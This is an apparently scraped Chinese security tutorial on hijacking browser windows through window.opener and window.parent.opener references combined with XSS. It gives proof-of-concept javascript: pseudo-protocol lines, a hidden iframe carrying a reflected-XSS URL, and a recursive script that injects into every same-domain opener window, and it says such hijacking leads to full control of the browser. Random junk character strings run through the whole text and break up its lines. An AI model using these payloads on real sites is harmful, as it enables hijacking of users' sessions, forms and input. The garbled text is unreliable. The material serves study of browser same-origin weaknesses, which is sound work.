* s4 ]2 R! b- E' u3 R S- m% C9 a) u( a--vul1.html-------------------------------------------------------------------- ' O7 T) j* v) f' F9 M0 X<script language="javascript"> / c( B1 Y$ p3 ?function createWin() { ( Y! h; u$ `( ^! H) s* S* H* y newWin = window.open ("http://www.google.com"); , ~+ r- T9 P8 B6 V& z3 T' T
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); & c# Z* M" V4 b9 X0 ]} ! {6 I4 J& u v$ ?3 J# U
</script> : e1 t2 N" W4 a* z% E T 2 K5 n2 e0 B4 G W" q: }<button onclick='createWin()'>创建一个非同源子窗口测试</button>3 l* f# b3 w& q* K! r
-------------------------------------------------------------------------------& o3 X* u. l5 o- v) U
' z, |* N3 c2 V. R. P0 a
f% O, i3 |( F/ b% I
4.2 子窗口引用父窗口的同源策略问题& u. F0 v8 R& r- U v6 u( `
7 _7 u( d8 j+ S' ~' ~( `* W$ K 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使9 e- i. ~2 \: R& y* M. f
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们 / t- a0 S5 ^" [可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定& `( v5 m6 a7 G! A5 v
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。4 c/ R% ?8 b$ C# S- t- `
2 w9 w: J0 A8 P
--code-------------------------------------------------------------------------4 I( s) Z7 |' h# }
1 M$ Z& { h; l0 yjavascript:window.opener.location = "http://www.80sec.com";void(0);& y# G5 O% [4 h6 }2 v. r6 r
& H% o. c$ ?+ {3 t0 D------------------------------------------------------------------------------- . X7 v& W0 l. {9 T# |1 I, l; F* y$ A 6 z3 V b' s' T. g: e; [+ P( @8 x) O/ V) S7 p9 I) E
五、利用窗口引用漏洞劫持浏览器* }7 q1 t9 z. s% X5 k. a
+ |1 t$ G9 F$ Q) E' ]7 x6.2 反向跨窗口劫持- [/ @' Z' m8 e l
: P8 t* j$ R/ d' q, R. O
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代 * Z" T6 h4 E6 C: n4 _码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话' p6 ^ M6 U, @6 M" r8 t
框脚本。- I3 P5 A$ |3 G% I1 y. H( o3 V
1 ~. B9 b; ]* S9 y) M, N
--hijack_opener.js------------------------------------------------------------- 0 `; T* a, J6 H1 J# T 9 j# h& ~; z+ f; P7 njavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);0 O4 w; k' n' K& a% E# N a4 k
3 \+ ^! t3 n4 b/ m4 B/ b5 j3 G3 {; Y-------------------------------------------------------------------------------% F; i7 t4 O% B) T/ p0 s# C. t
' Y& u7 ^* ?+ A6 D5 U " S* z9 z* v6 v6.3 极度危险的跨框架窗口引用劫持 % j. L9 Y, E* I) z % U3 X! p/ k, S3 \/ i2 i% T 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞' g( M2 C6 M* g9 g( q9 A3 P
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就4 G: m2 b/ p( T7 e+ J
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个 ! i) Z( w4 p6 U7 K: s2 q# g非持久型的XSS,如下:1 K/ p+ s0 r1 T: ~& w+ b
0 P& Z% K7 F) ^7 J; N
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>2 u! O9 F' Q1 T% J) D% L3 `* `1 r
: x" z; ] O1 l( }5 j; ^
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口 ; q7 s& J* ~0 r! r注入脚本。 / |; A! w) ]! d5 }2 J5 {4 \& U% h' C$ v# J3 P' i/ `
--hijack_frame_opener.js------------------------------------------------------- 6 {' |6 d# h4 \2 i<script> + @5 U; B, I* H0 ~9 S) ~ @window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";7 t: o V: `4 _$ T/ @- S5 ~7 g
</script>2 {- }6 p' K5 Y& L8 |- L5 ?
------------------------------------------------------------------------------- - p$ `: G7 b( E1 \! S( X+ N/ L0 V2 f& J/ g* N% h
4 M* E9 d0 T8 V8 N5 `4 f/ n
6.4 极度危险的正反向跨窗口递归劫持7 s7 p0 ^# \9 g
/ B- R$ g( b6 H* T: L
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window) F) K6 d: v. }, p
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过 9 J2 p @8 h# I, F1 U异常处理规避之间跨域页面的访问异常,代码如下:' y- S- k) N3 H! V! o
2 t! }! m& I) m+ U/ |
--code-------------------------------------------------------------------------. T3 X0 U3 N( r# }* Z
+ K# A* v4 [( Ojavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);0 j5 W. I# e7 R; ~# D$ @2 N
7 D5 x5 z1 q {& C. b( e2 |6 X-------------------------------------------------------------------------------2 Q5 ~$ s4 q0 E: x' y& _ Y
) T2 n: {# i5 @. | 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可 , P2 b) n+ w6 p8 j9 `% F( ]9 p8 F/ J以劫持B域之前的A域页面,从而实现“隔空打击”。( Q m( X$ w8 ?+ M; g6 J5 L
8 v9 [- u; ?1 g+ u/ N
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面 / [$ m& k& m5 Z& Z- @3 [执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。 / b. n9 Z% K" J) b6 f+ n) k( v! K* E
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。0 N# W3 E: B0 ?# @9 E) G
& S0 L# s8 u8 M5 w0 w& }' ^ J9 }. I0 Z; g% {0 T
6.5 完全控制浏览器 ( x1 g: E, v. H% Y9 B+ e4 M, i' _: [/ e3 [& ]1 g$ R3 G
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则 2 Y0 W$ p) P& ~% v- {9 ?3 t是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS7 A: N' l+ S# u: W' L
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失' W- Q, y J- h9 ^, l
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再 0 X% ^0 M) V$ \# t! t c* d+ R ~列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站5 T% V; f5 k' V
师的终极目标 - 完全控制浏览器。; I! F0 i4 I, X8 V& m( }
9 N' f% S' p* H, H3 Z/ ?* O: Y' X1 r# q0 p1 p$ J
七、后记, J) [" o7 ^' Q: v4 ~. w) a, w3 R- u